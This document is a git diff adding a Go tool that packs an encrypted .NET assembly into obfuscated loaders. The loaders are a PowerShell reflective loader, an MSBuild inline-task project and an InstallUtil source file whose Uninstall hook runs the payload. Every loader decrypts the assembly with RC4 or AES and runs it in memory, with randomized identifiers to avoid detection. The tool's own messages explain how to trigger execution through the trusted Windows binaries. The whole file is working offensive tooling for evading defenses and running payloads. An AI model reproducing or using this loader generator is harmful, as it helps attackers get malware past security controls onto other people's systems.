diff options
Diffstat (limited to 'main.go')
-rw-r--r-- | main.go | 660 |
1 files changed, 660 insertions, 0 deletions
@@ -0,0 +1,660 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + cryptoRand "crypto/rand" + "encoding/base64" + "flag" + "fmt" + "io/ioutil" + mathRand "math/rand" + "os" + "path/filepath" + "regexp" + "strings" + "time" +) + +const keySpace = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" +const keySpaceForKeys = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + +func rc4(key, data []byte) []byte { + s := make([]int, 256) + for i := 0; i < 256; i++ { + s[i] = i + } + j := 0 + for i := 0; i < 256; i++ { + j = (j + s[i] + int(key[i%len(key)])) % 256 + s[i], s[j] = s[j], s[i] + } + + encrypted := make([]byte, len(data)) + i, j := 0, 0 + for k := 0; k < len(data); k++ { + i = (i + 1) % 256 + j = (j + s[i]) % 256 + s[i], s[j] = s[j], s[i] + t := (s[i] + s[j]) % 256 + encrypted[k] = data[k] ^ byte(s[t]) + } + return encrypted +} + +func aesEncrypt(key, data []byte) ([]byte, []byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, nil, fmt.Errorf("[err] failed to create AES cipher: %v", err) + } + + iv := make([]byte, aes.BlockSize) + if _, err := cryptoRand.Read(iv); err != nil { + return nil, nil, fmt.Errorf("[err] failed to generate IV: %v", err) + } + + paddedData := padData(data, aes.BlockSize) + ciphertext := make([]byte, len(paddedData)) + + mode := cipher.NewCBCEncrypter(block, iv) + mode.CryptBlocks(ciphertext, paddedData) + + return ciphertext, iv, nil +} + +func padData(data []byte, blockSize int) []byte { + padding := blockSize - len(data)%blockSize + padText := make([]byte, len(data)+padding) + copy(padText, data) + for i := len(data); i < len(padText); i++ { + padText[i] = byte(padding) + } + return padText +} + +func encryptData(encryptionType string, key []byte, data []byte) (ciphertext []byte, iv []byte, err error) { + if encryptionType == "rc4" { + ciphertext = rc4(key, data) + return ciphertext, nil, nil + } else if encryptionType == "aes" { + ciphertext, iv, err = aesEncrypt(key, data) + if err != nil { + return nil, nil, err + } + return ciphertext, iv, nil + } + return nil, nil, fmt.Errorf("[err] unsupported encryption type: %s", encryptionType) +} + +func generatePassword(length int) string { + b := make([]byte, length) + for i := range b { + b[i] = keySpaceForKeys[mathRand.Intn(len(keySpaceForKeys))] + } + return string(b) +} + +func obfuscate(s string, length int) (string, error) { + if length <= 0 { + return "", fmt.Errorf("[err] length must be a positive integer") + } + + placeholderValues := make(map[string]string) + re := regexp.MustCompile(`<%=obf (.*?) %>`) + + result := re.ReplaceAllStringFunc(s, func(match string) string { + placeholder := re.FindStringSubmatch(match)[1] + if val, exists := placeholderValues[placeholder]; exists { + return val + } + + var randomString strings.Builder + for i := 0; i < length; i++ { + randomString.WriteByte(keySpace[mathRand.Intn(len(keySpace))]) + } + placeholderValues[placeholder] = randomString.String() + return placeholderValues[placeholder] + }) + + return result, nil +} + +func generatePowerShellLdr(filePath string, obfuscationLength, keyLength int, encryptionType string) error { + data, err := ioutil.ReadFile(filePath) + if err != nil { + return fmt.Errorf("[err] failed to read file: %v", err) + } + + key := []byte(generatePassword(keyLength)) + ciphertext, iv, err := encryptData(encryptionType, key, data) + if err != nil { + return fmt.Errorf("[err] encryption failed: %v", err) + } + + b64 := base64.StdEncoding.EncodeToString(ciphertext) + b64IV := "" + if encryptionType == "aes" { + b64IV = base64.StdEncoding.EncodeToString(iv) + } + + baseName := filepath.Base(filePath) + assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe" + outputFile := fmt.Sprintf("%s_reflective.ps1", assemblyName) + + template := "" + if encryptionType == "rc4" { + template = ` +function <%=obf RC4Decrypt %> { + param ( + [byte[]]$<%=obf data %>, + [byte[]]$<%=obf key %> + ) + $<%=obf S %> = 0..255 + $<%=obf j %> = 0 + for ($<%=obf i %> = 0; $<%=obf i %> -lt 256; $<%=obf i %>++) { + $<%=obf j %> = ($<%=obf j %> + $<%=obf S %>[$<%=obf i %>] + $<%=obf key %>[$<%=obf i %> % $<%=obf key %>.Length]) % 256 + $<%=obf S %>[$<%=obf i %>], $<%=obf S %>[$<%=obf j %>] = $<%=obf S %>[$<%=obf j %>], $<%=obf S %>[$<%=obf i %>] + } + $<%=obf output %> = New-Object byte[] $<%=obf data %>.Length + $<%=obf i %> = 0 + $<%=obf j %> = 0 + for ($<%=obf k %> = 0; $<%=obf k %> -lt $<%=obf data %>.Length; $<%=obf k %>++) { + $<%=obf i %> = ($<%=obf i %> + 1) % 256 + $<%=obf j %> = ($<%=obf j %> + $<%=obf S %>[$<%=obf i %>]) % 256 + $<%=obf S %>[$<%=obf i %>], $<%=obf S %>[$<%=obf j %>] = $<%=obf S %>[$<%=obf j %>], $<%=obf S %>[$<%=obf i %>] + $<%=obf t %> = ($<%=obf S %>[$<%=obf i %>] + $<%=obf S %>[$<%=obf j %>]) % 256 + $<%=obf output %>[$<%=obf k %>] = $<%=obf data %>[$<%=obf k %>] -bxor $<%=obf S %>[$<%=obf t %>] + } + return $<%=obf output %> +} + +$<%=obf key %> = [System.Text.Encoding]::UTF8.GetBytes("{key}") +$<%=obf bytes %> = [Convert]::FromBase64String("{b64}") +[byte[]]$<%=obf decrypted %> = <%=obf RC4Decrypt %> -<%=obf data %> $<%=obf bytes %> -<%=obf key %> $<%=obf key %> +[Reflection.Assembly]::Load($<%=obf decrypted %>) +` + } else { + template = ` +function <%=obf AESDecrypt %> { + param($<%=obf aesKey %>, $<%=obf aesIv %>, $<%=obf encryptedAssembly %>) + $<%=obf iv %> = [Convert]::FromBase64String($<%=obf aesIv %>) + $<%=obf encryptedBytes %> = [Convert]::FromBase64String($<%=obf encryptedAssembly %>) + $<%=obf aes %> = New-Object Security.Cryptography.AesCryptoServiceProvider + $<%=obf aes %>.KeySize = 256 + $<%=obf aes %>.BlockSize = 128 + $<%=obf aes %>.Mode = [Security.Cryptography.CipherMode]::CBC + $<%=obf aes %>.Padding = [Security.Cryptography.PaddingMode]::PKCS7 + $<%=obf aes %>.Key = [System.Text.Encoding]::UTF8.GetBytes($<%=obf aesKey %>) + $<%=obf aes %>.IV = $<%=obf iv %> + $<%=obf ms %> = New-Object System.IO.MemoryStream $<%=obf encryptedBytes %>, 0, $<%=obf encryptedBytes %>.Length + $<%=obf cs %> = New-Object Security.Cryptography.CryptoStream $<%=obf ms %>, $<%=obf aes %>.CreateDecryptor(), 0 + $<%=obf cs %>.Read($<%=obf encryptedBytes %>, 0, $<%=obf encryptedBytes %>.Length) | Out-Null + return $<%=obf encryptedBytes %> +} + +$<%=obf key %> = "{key}" +$<%=obf iv %> = "{b64IV}" +$<%=obf encryptedAssembly %> = "{b64}" + +[byte[]]$<%=obf decryptedBytes %> = <%=obf AESDecrypt %> -<%=obf aesKey %> $<%=obf key %> -<%=obf aesIv %> $<%=obf iv %> -<%=obf encryptedAssembly %> $<%=obf encryptedAssembly %> +[Reflection.Assembly]::Load($<%=obf decryptedBytes %>) +` + } + + template = strings.ReplaceAll(template, "{key}", string(key)) + template = strings.ReplaceAll(template, "{b64}", b64) + if encryptionType == "aes" { + template = strings.ReplaceAll(template, "{b64IV}", b64IV) + } + + obfuscated, err := obfuscate(template, obfuscationLength) + if err != nil { + return fmt.Errorf("[err] obfuscation failed: %v", err) + } + + err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644) + if err != nil { + return fmt.Errorf("[err] failed to write output file: %v", err) + } + + fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath) + fmt.Println("[inf] call assembly method with [<namespace>.<class>]::<method>(\"arg1 arg2\".Split())") + return nil +} + +func generateMSBuildLdr(filePath string, obfuscationLength, keyLength int, dotnetArch, encryptionType string) error { + data, err := ioutil.ReadFile(filePath) + if err != nil { + return fmt.Errorf("[err] failed to read file: %v", err) + } + + key := []byte(generatePassword(keyLength)) + ciphertext, iv, err := encryptData(encryptionType, key, data) + if err != nil { + return fmt.Errorf("[err] encryption failed: %v", err) + } + + b64 := base64.StdEncoding.EncodeToString(ciphertext) + b64IV := "" + if encryptionType == "aes" { + b64IV = base64.StdEncoding.EncodeToString(iv) + } + + archPath := "" + if dotnetArch == "x86" { + archPath = "" + } else { + archPath = "64" + } + + binSize := len(ciphertext) + + baseName := filepath.Base(filePath) + assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe" + outputFile := fmt.Sprintf("%s_msbuild.csproj", assemblyName) + + template := "" + if encryptionType == "rc4" { + template = ` +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <Target Name="<%=obf GhostBuild %>"> + <<%=obf GhostBuilder %>/> + </Target> + <UsingTask TaskName="<%=obf GhostBuilder %>" TaskFactory="CodeTaskFactory" AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework<%=obf arch %>\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll"> + <ParameterGroup/> + <Task> + <Code Type="Class" Language="cs"> + <![CDATA[ + using System; + using System.IO; + using System.Reflection; + using System.Text; + using Microsoft.Build.Framework; + using Microsoft.Build.Utilities; + + public class <%=obf GhostBuilder %> : Task, ITask { + public static byte[] <%=obf RC4 %>(byte[] <%=obf pwd %>, byte[] <%=obf data %>) { + int <%=obf a %>, <%=obf i %>, <%=obf j %>, <%=obf k %>, <%=obf tmp %>; + int[] <%=obf key %> = new int[256]; + int[] <%=obf box %> = new int[256]; + byte[] <%=obf cipher %> = new byte[<%=obf data %>.Length]; + for (<%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++) { + <%=obf key %>[<%=obf i %>] = <%=obf pwd %>[<%=obf i %> % <%=obf pwd %>.Length]; + <%=obf box %>[<%=obf i %>] = <%=obf i %>; + } + for (<%=obf j %> = <%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++) { + <%=obf j %> = (<%=obf j %> + <%=obf box %>[<%=obf i %>] + <%=obf key %>[<%=obf i %>]) % 256; + <%=obf tmp %> = <%=obf box %>[<%=obf i %>]; + <%=obf box %>[<%=obf i %>] = <%=obf box %>[<%=obf j %>]; + <%=obf box %>[<%=obf j %>] = <%=obf tmp %>; + } + for (<%=obf a %> = <%=obf j %> = <%=obf i %> = 0; <%=obf i %> < <%=obf data %>.Length; <%=obf i %>++) { + <%=obf a %>++; + <%=obf a %> %= 256; + <%=obf j %> += <%=obf box %>[<%=obf a %>]; + <%=obf j %> %= 256; + <%=obf tmp %> = <%=obf box %>[<%=obf a %>]; + <%=obf box %>[<%=obf a %>] = <%=obf box %>[<%=obf j %>]; + <%=obf box %>[<%=obf j %>] = <%=obf tmp %>; + <%=obf k %> = <%=obf box %>[(<%=obf box %>[<%=obf a %>] + <%=obf box %>[<%=obf j %>]) % 256]; + <%=obf cipher %>[<%=obf i %>] = (byte)(<%=obf data %>[<%=obf i %>] ^ <%=obf k %>); + } + return <%=obf cipher %>; + } + + public override bool Execute() { + string[] <%=obf args %> = new string[] { "" }; + string <%=obf encodedBin %> = "{b64}"; + int <%=obf binSize %> = {binSize}; + string <%=obf key %> = "{key}"; + + byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>]; + using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>))) { + <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>); + } + byte[] <%=obf final %> = <%=obf RC4 %>(Encoding.UTF8.GetBytes(<%=obf key %>), <%=obf bytesBin %>); + Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>); + <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> }); + return true; + } + } + ]]> + </Code> + </Task> + </UsingTask> +</Project> +` + } else { + template = ` +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <Target Name="<%=obf GhostBuild %>"> + <<%=obf GhostBuilder %>/> + </Target> + <UsingTask TaskName="<%=obf GhostBuilder %>" TaskFactory="CodeTaskFactory" AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework<%=obf arch %>\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll"> + <ParameterGroup/> + <Task> + <Code Type="Class" Language="cs"> + <![CDATA[ + using System; + using System.IO; + using System.Reflection; + using System.Text; + using System.Security.Cryptography; + using Microsoft.Build.Framework; + using Microsoft.Build.Utilities; + + public class <%=obf GhostBuilder %> : Task, ITask { + public static byte[] <%=obf AesDecrypt %>(byte[] <%=obf cipherText %>, byte[] <%=obf key %>, byte[] <%=obf iv %>) { + using (Aes <%=obf aesAlg %> = Aes.Create()) { + <%=obf aesAlg %>.KeySize = 256; + <%=obf aesAlg %>.BlockSize = 128; + <%=obf aesAlg %>.Mode = CipherMode.CBC; + <%=obf aesAlg %>.Padding = PaddingMode.PKCS7; + <%=obf aesAlg %>.Key = <%=obf key %>; + <%=obf aesAlg %>.IV = <%=obf iv %>; + ICryptoTransform <%=obf decryptor %> = <%=obf aesAlg %>.CreateDecryptor(<%=obf aesAlg %>.Key, <%=obf aesAlg %>.IV); + using (MemoryStream <%=obf msDecrypt %> = new MemoryStream()) { + using (CryptoStream <%=obf csDecrypt %> = new CryptoStream(<%=obf msDecrypt %>, <%=obf decryptor %>, CryptoStreamMode.Write)) { + <%=obf csDecrypt %>.Write(<%=obf cipherText %>, 0, <%=obf cipherText %>.Length); + <%=obf csDecrypt %>.FlushFinalBlock(); + } + return <%=obf msDecrypt %>.ToArray(); + } + } + } + + public override bool Execute() { + string[] <%=obf args %> = new string[] { "" }; + string <%=obf encodedBin %> = "{b64}"; + int <%=obf binSize %> = {binSize}; + byte[] <%=obf key %> = Encoding.UTF8.GetBytes("{key}"); + byte[] <%=obf iv %> = Convert.FromBase64String("{b64IV}"); + byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>]; + using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>))) { + <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>); + } + byte[] <%=obf final %> = <%=obf AesDecrypt %>(<%=obf bytesBin %>, <%=obf key %>, <%=obf iv %>); + Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>); + <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> }); + return true; + } + } + ]]> + </Code> + </Task> + </UsingTask> +</Project> +` + } + + template = strings.ReplaceAll(template, "{key}", string(key)) + template = strings.ReplaceAll(template, "{b64}", b64) + template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize)) + template = strings.ReplaceAll(template, "<%=obf arch %>", archPath) + if encryptionType == "aes" { + template = strings.ReplaceAll(template, "{b64IV}", b64IV) + } + + obfuscated, err := obfuscate(template, obfuscationLength) + if err != nil { + return fmt.Errorf("[err] obfuscation failed: %v", err) + } + + err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644) + if err != nil { + return fmt.Errorf("[err] failed to write output file: %v", err) + } + + fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath) + fmt.Println("[inf] change \"string[] <var> = new string[] { \"\" };\" to add arguments") + return nil +} + +func generateInstallUtilLdr(filePath string, obfuscationLength, keyLength int, encryptionType string) error { + data, err := ioutil.ReadFile(filePath) + if err != nil { + return fmt.Errorf("[err] failed to read file: %v", err) + } + + key := []byte(generatePassword(keyLength)) + ciphertext, iv, err := encryptData(encryptionType, key, data) + if err != nil { + return fmt.Errorf("[err] encryption failed: %v", err) + } + + b64 := base64.StdEncoding.EncodeToString(ciphertext) + b64IV := "" + if encryptionType == "aes" { + b64IV = base64.StdEncoding.EncodeToString(iv) + } + + binSize := len(ciphertext) + + baseName := filepath.Base(filePath) + assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + outputFile := fmt.Sprintf("%s.cs", assemblyName) + + template := "" + if encryptionType == "rc4" { + template = ` +using System; +using System.IO; +using System.Text; +using System.Reflection; +using System.Configuration.Install; + +namespace <%=obf Namespace %> +{ + public class <%=obf Program %> + { + public static void Main(string[] args) + {} + } + + [System.ComponentModel.RunInstaller(true)] + public class <%=obf Installer %> : Installer + { + public static byte[] <%=obf RC4 %>(byte[] <%=obf pwd %>, byte[] <%=obf data %>) + { + int <%=obf a %>, <%=obf i %>, <%=obf j %>, <%=obf k %>, <%=obf tmp %>; + int[] <%=obf key %> = new int[256]; + int[] <%=obf box %> = new int[256]; + byte[] <%=obf cipher %> = new byte[<%=obf data %>.Length]; + for (<%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++) + { + <%=obf key %>[<%=obf i %>] = <%=obf pwd %>[<%=obf i %> % <%=obf pwd %>.Length]; + <%=obf box %>[<%=obf i %>] = <%=obf i %>; + } + for (<%=obf j %> = <%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++) + { + <%=obf j %> = (<%=obf j %> + <%=obf box %>[<%=obf i %>] + <%=obf key %>[<%=obf i %>]) % 256; + <%=obf tmp %> = <%=obf box %>[<%=obf i %>]; + <%=obf box %>[<%=obf i %>] = <%=obf box %>[<%=obf j %>]; + <%=obf box %>[<%=obf j %>] = <%=obf tmp %>; + } + for (<%=obf a %> = <%=obf j %> = <%=obf i %> = 0; <%=obf i %> < <%=obf data %>.Length; <%=obf i %>++) + { + <%=obf a %>++; + <%=obf a %> %= 256; + <%=obf j %> += <%=obf box %>[<%=obf a %>]; + <%=obf j %> %= 256; + <%=obf tmp %> = <%=obf box %>[<%=obf a %>]; + <%=obf box %>[<%=obf a %>] = <%=obf box %>[<%=obf j %>]; + <%=obf box %>[<%=obf j %>] = <%=obf tmp %>; + <%=obf k %> = <%=obf box %>[(<%=obf box %>[<%=obf a %>] + <%=obf box %>[<%=obf j %>]) % 256]; + <%=obf cipher %>[<%=obf i %>] = (byte)(<%=obf data %>[<%=obf i %>] ^ <%=obf k %>); + } + return <%=obf cipher %>; + } + + public override void Uninstall(System.Collections.IDictionary savedState) + { + try + { + string[] <%=obf args %> = new string[] { "" }; + string <%=obf encodedBin %> = "{b64}"; + int <%=obf binSize %> = {binSize}; + string <%=obf key %> = "{key}"; + + byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>]; + using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>))) + { + <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>); + } + byte[] <%=obf final %> = <%=obf RC4 %>(Encoding.UTF8.GetBytes(<%=obf key %>), <%=obf bytesBin %>); + Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>); + <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> }); + } + catch (Exception) {} + base.Uninstall(savedState); + } + } +} +` + } else { + template = ` +using System; +using System.IO; +using System.Text; +using System.Reflection; +using System.Configuration.Install; +using System.Security.Cryptography; + +namespace <%=obf Namespace %> +{ + public class <%=obf Program %> + { + public static void Main(string[] args) + {} + } + + [System.ComponentModel.RunInstaller(true)] + public class <%=obf Installer %> : Installer + { + public static byte[] <%=obf AesDecrypt %>(byte[] <%=obf cipherText %>, byte[] <%=obf key %>, byte[] <%=obf iv %>) + { + using (Aes <%=obf aesAlg %> = Aes.Create()) + { + <%=obf aesAlg %>.KeySize = 256; + <%=obf aesAlg %>.BlockSize = 128; + <%=obf aesAlg %>.Mode = CipherMode.CBC; + <%=obf aesAlg %>.Padding = PaddingMode.PKCS7; + <%=obf aesAlg %>.Key = <%=obf key %>; + <%=obf aesAlg %>.IV = <%=obf iv %>; + ICryptoTransform <%=obf decryptor %> = <%=obf aesAlg %>.CreateDecryptor(<%=obf aesAlg %>.Key, <%=obf aesAlg %>.IV); + using (MemoryStream <%=obf msDecrypt %> = new MemoryStream()) + { + using (CryptoStream <%=obf csDecrypt %> = new CryptoStream(<%=obf msDecrypt %>, <%=obf decryptor %>, CryptoStreamMode.Write)) + { + <%=obf csDecrypt %>.Write(<%=obf cipherText %>, 0, <%=obf cipherText %>.Length); + <%=obf csDecrypt %>.FlushFinalBlock(); + } + return <%=obf msDecrypt %>.ToArray(); + } + } + } + + public override void Uninstall(System.Collections.IDictionary savedState) + { + try + { + string[] <%=obf args %> = new string[] { "" }; + string <%=obf encodedBin %> = "{b64}"; + int <%=obf binSize %> = {binSize}; + byte[] <%=obf key %> = Encoding.UTF8.GetBytes("{key}"); + byte[] <%=obf iv %> = Convert.FromBase64String("{b64IV}"); + byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>]; + using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>))) + { + <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>); + } + byte[] <%=obf final %> = <%=obf AesDecrypt %>(<%=obf bytesBin %>, <%=obf key %>, <%=obf iv %>); + Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>); + <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> }); + } + catch (Exception) {} + base.Uninstall(savedState); + } + } +} +` + } + + template = strings.ReplaceAll(template, "{key}", string(key)) + template = strings.ReplaceAll(template, "{b64}", b64) + template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize)) + if encryptionType == "aes" { + template = strings.ReplaceAll(template, "{b64IV}", b64IV) + } + + obfuscated, err := obfuscate(template, obfuscationLength) + if err != nil { + return fmt.Errorf("[err] obfuscation failed: %v", err) + } + + err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644) + if err != nil { + return fmt.Errorf("[err] failed to write output file: %v", err) + } + + fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath) + fmt.Printf("[inf] compile with: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /platform:x64|x86 /out:%s.exe %s\n", assemblyName, outputFile) + fmt.Printf("[inf] uninstall to execute payload: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /U /logfile= /LogToConsole=false %s.exe\n", assemblyName) + return nil +} + +func main() { + filePath := flag.String("f", "", "input file path") + outputType := flag.String("t", "powershell", "loader type: powershell|msbuild|installutil") + encryptionType := flag.String("e", "rc4", "encryption type: rc4|aes") + obfuscationLength := flag.Int("obf-len", 8, "length of obfuscated strings") + keyLength := flag.Int("key-len", 32, "length of encryption key") + dotnetArch := flag.String("dotnet-architecture", "x64", ".net architecture for msbuild: x86|x64") + flag.Parse() + + if *filePath == "" { + fmt.Println("[err] -f/--file is required") + flag.Usage() + os.Exit(1) + } + if *outputType != "powershell" && *outputType != "msbuild" && *outputType != "installutil" { + fmt.Println("[err] -t/--type must be 'powershell', 'msbuild', or 'installutil'") + flag.Usage() + os.Exit(1) + } + if *encryptionType != "rc4" && *encryptionType != "aes" { + fmt.Println("[err] -e/--encryption must be 'rc4' or 'aes'") + flag.Usage() + os.Exit(1) + } + if *obfuscationLength <= 0 { + fmt.Println("[err] -obf-len must be a positive integer") + flag.Usage() + os.Exit(1) + } + if *keyLength <= 0 || (*encryptionType == "aes" && *keyLength != 32) { + fmt.Println("[err] -key-len must be a positive integer, 32 for AES") + flag.Usage() + os.Exit(1) + } + if *outputType == "msbuild" && *dotnetArch != "x86" && *dotnetArch != "x64" { + fmt.Println("[err] --dotnet-architecture must be 'x86' or 'x64'") + flag.Usage() + os.Exit(1) + } + + mathRand.Seed(time.Now().UnixNano()) + + var err error + if *outputType == "powershell" { + err = generatePowerShellLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType) + } else if *outputType == "msbuild" { + err = generateMSBuildLdr(*filePath, *obfuscationLength, *keyLength, *dotnetArch, *encryptionType) + } else { + err = generateInstallUtilLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType) + } + if err != nil { + fmt.Printf("[err] %v\n", err) + os.Exit(1) + } +} |